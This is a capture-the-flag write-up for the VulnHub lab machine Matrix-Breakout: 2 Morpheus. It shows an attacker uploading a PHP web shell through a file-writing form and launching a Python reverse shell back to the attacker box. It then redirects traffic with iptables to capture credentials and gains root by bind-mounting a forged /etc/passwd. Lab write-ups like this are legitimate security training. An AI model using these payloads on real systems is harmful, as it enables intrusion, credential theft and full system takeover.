CTF : Morpheus2

CTF Matrix-Breakout: 2 Morpheus writeup. Source VulnHub. Announced difficulty level: Intermediate/Hard

Posted by Boula-Bytes on 19 January 2023

CTF : Matrix-Breakout: 2 Morpheus

Informations

  • IP: 192.168.0.36
  • MYIP: 192.168.0.171

First enumeration

Basics

  • NMAP
console
sudo nmap -p- -A 192.168.0.171 Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-19 20:48 CET Nmap scan report for 192.168.0.171 Host is up (0.00017s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: |_ 256 aa83c351786170e5b7469f07c4ba31e4 (ECDSA) 80/tcp open http Apache httpd 2.4.51 ((Debian)) |_http-title: Morpheus:1 |_http-server-header: Apache/2.4.51 (Debian) 81/tcp open http nginx 1.18.0 | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=Meeting Place |_http-title: 401 Authorization Required |_http-server-header: nginx/1.18.0 MAC Address: 08:00:27:96:04:CB (Oracle VirtualBox virtual NIC) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.93%E=4%D=1/19%OT=22%CT=1%CU=36052%PV=Y%DS=1%DC=D%G=Y%M=080027%T OS:M=63C99E89%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10D%TI=Z%CI=Z%II=I OS:%TS=A)OPS(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O OS:5=M5B4ST11NW6%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6 OS:=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD= OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0% OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1( OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI= OS:N%T=40%CD=S) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.17 ms 192.168.0.171 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 20.84 seconds

Vulnerabilities search

Port 80 leads to an index.html but there is maybe something else... :)

console
dirsearch -u http://192.168.0.171 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e zip,sql.bak,tgz,log,py,pub,php.bak,bak,tar.gz,tar,id_rsa,sh,pl,rb,cgi,jar,js,php,sql,bkp,rar,xml,csv,html,json,txt,old,php.old,html.old,html.OLD,gz,OLD -f _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: zip, sql.bak, tgz, log, py, pub, php.bak, bak, tar.gz, tar, id_rsa, sh, pl, rb, cgi, jar, js, php, sql, bkp, rar, xml, csv, html, json, txt, old, php.old, html.old, html.OLD, gz, OLD HTTP method: GET | Threads: 30 | Wordlist size: 7498530 Output File: /home/boula/.dirsearch/reports/192.168.0.171/_23-01-19_20-55-53.txt Error Log: /home/boula/.dirsearch/logs/errors-23-01-19_20-55-53.log Target: http://192.168.0.171/ [20:55:53] Starting: [20:55:53] 200 - 348B - /index.html [20:55:57] 403 - 278B - /icons/ [20:56:56] 403 - 278B - /javascript/ [20:56:56] 301 - 319B - /javascript -> http://192.168.0.171/javascript/ [20:57:36] 200 - 47B - /robots.txt [21:12:37] 200 - 451B - /graffiti.php [21:12:37] 200 - 139B - /graffiti.txt CTRL+C detected: Pausing threads, please wait...

Exploit

Well /graffiti.php is a php script that writes via a POST command some text in a text file. Using burp I could see that there is two parameters to POST action : message and file... Huhuhu

So what if I modify those parameters like this : message=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3F%3E&file=joe.php

It creates a file joe.php that contains : <?php system($_GET['cmd'])?> !

console
$ curl "http://192.168.0.171/joe.php?cmd=ls" graffiti.php graffiti.txt index.html joe.php robots.txt trinity.jpeg

On attacker box I launched :

shell
nc -nlvp 1234

Now, we can use this payload for the cmd parameter : python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.36",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

And we got a shell :)

console
$ cat /FLAG.txt Flag 1! You've gotten onto the system. Now why has Cypher locked everyone out of it? Can you find a way to get Cypher's password? It seems like he gave it to Agent Smith, so Smith could figure out where to meet him. Also, pull this image from the webserver on port 80 to get a flag. /.cypher-neo.png

Now we need to find cypher password.

There an nginx webserver serving page on port 81. It's password protected. But as we got a shell, let's see what's in the .htpasswd :

console
$ cat /var/nginx/html/.htpasswd cypher:$apr1$e9o8Y7Om$5zgDW6WOO6Fl8rCC7jpvX0

I tried to crack it with hashcat but... no luck...

I was stuck here for a long time until I tried to print the nginx log tail :

console
$ tail /var/log/nginx/access.log [...] 172.17.0.2 - cypher [19/Jan/2023:23:37:52 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1" 172.17.0.2 - cypher [19/Jan/2023:23:38:52 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1" 172.17.0.2 - cypher [19/Jan/2023:23:39:52 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1" 172.17.0.2 - cypher [19/Jan/2023:23:40:52 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1" 172.17.0.2 - cypher [19/Jan/2023:23:41:52 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1"

I previously saw there was a docker service but as www-data user I was unable to do anything.

But now, I figured out that there is a service held by docker that do connections as cypher user.

So I have to find a way...

console
$ getcap -r / 2>/dev/null /usr/bin/python3-9 cap_sys_admin=ep /usr/bin/ping cap_net_raw=ep /usr/sbin/xtables-legacy-multi cap_net_admin=ep /usr/sbin/xtables-nft-multi cap_net_admin=ep

/usr/sbin/xtables-nft-multi has the capability cap_net_admin=ep which permits to have admin rights on network.

Knowing that we can craft an iptable rule to redirect incoming traffic on port 81 to the attacker box.

shell
/usr/sbin/xtables-nft-multi iptables -t nat -A PREROUTING -p tcp --dport 81 -j DNAT --to-destination 192.168.0.36:1235

On the attacker box :

console
$ nc -nlvp 1235 listening on [any] 1235 ... connect to [192.168.0.36] from (UNKNOWN) [192.168.0.171] 35002 GET / HTTP/1.1 Host: 172.17.0.1:81 User-Agent: Go-http-client/1.1 Authorization: Basic Y3lwaGVyOmNhY2hlLXByb3N5LXByb2NlZWRzLWNsdWUtZXhwaWF0ZS1hbW1vLXB1Z2lsaXN0 Accept-Encoding: gzip

And we just have to decode base64:

console
$ echo -ne 'Y3lwaGVyOmNhY2hlLXByb3N5LXByb2NlZWRzLWNsdWUtZXhwaWF0ZS1hbW1vLXB1Z2lsaXN0' | base64 -d cypher:cache-prosy-proceeds-clue-expiate-ammo-pugilist
console
$ cat FLAG.txt You've clearly gained access as user Cypher. Can you find a way to get to root?

Privilege escalation

Enumeration for privesc

I found this ...

console
cat /etc/cron.d/fix-ownership-on-crew * * * * * root chown -R root /crew

I tried to push file with suid set into this dir but chown command removed the suid bit...

but... remember :

console
$ getcap -r / 2>/dev/null /usr/bin/python3-9 cap_sys_admin=ep /usr/bin/ping cap_net_raw=ep /usr/sbin/xtables-legacy-multi cap_net_admin=ep /usr/sbin/xtables-nft-multi cap_net_admin=ep

...

Exploit

console
$ ls -al /usr/bin/python3-9 -rwxr-x--- 1 root humans 5479736 Oct 28 2021 /usr/bin/python3-9

Huuum we can now use this binary and cap_sys_admin=ep let us mount a file above another... sooo.

Let's craft a special passwd file :

shell
cp /etc/passwd . openssl passwd -1 -salt toto titi $1$toto$U3mQTcCvor57o7Hq2Woid. echo 'toto:$1$toto$U3mQTcCvor57o7Hq2Woid.:0:0:root:/root:/bin/bash' >> passwd

We have to write a script to replace the original one by ours :)

python
from ctypes import * libc = CDLL("libc.so.6") libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p) MS_BIND = 4096 source = b"/home/cypher/passwd" target = b"/etc/passwd" filesystemtype = b"none" options = b"rw" mountflags = MS_BIND libc.mount(source, target, filesystemtype, mountflags, options)

And now...

shell
/usr/bin/python3-9 exploit.py
console
cypher@morpheus:~$ su - toto Password: titi root@morpheus:~# whoami root

Huhuhu !

console
# cat FLAG.txt You've won! Let's hope Matrix: Resurrections rocks!

\o/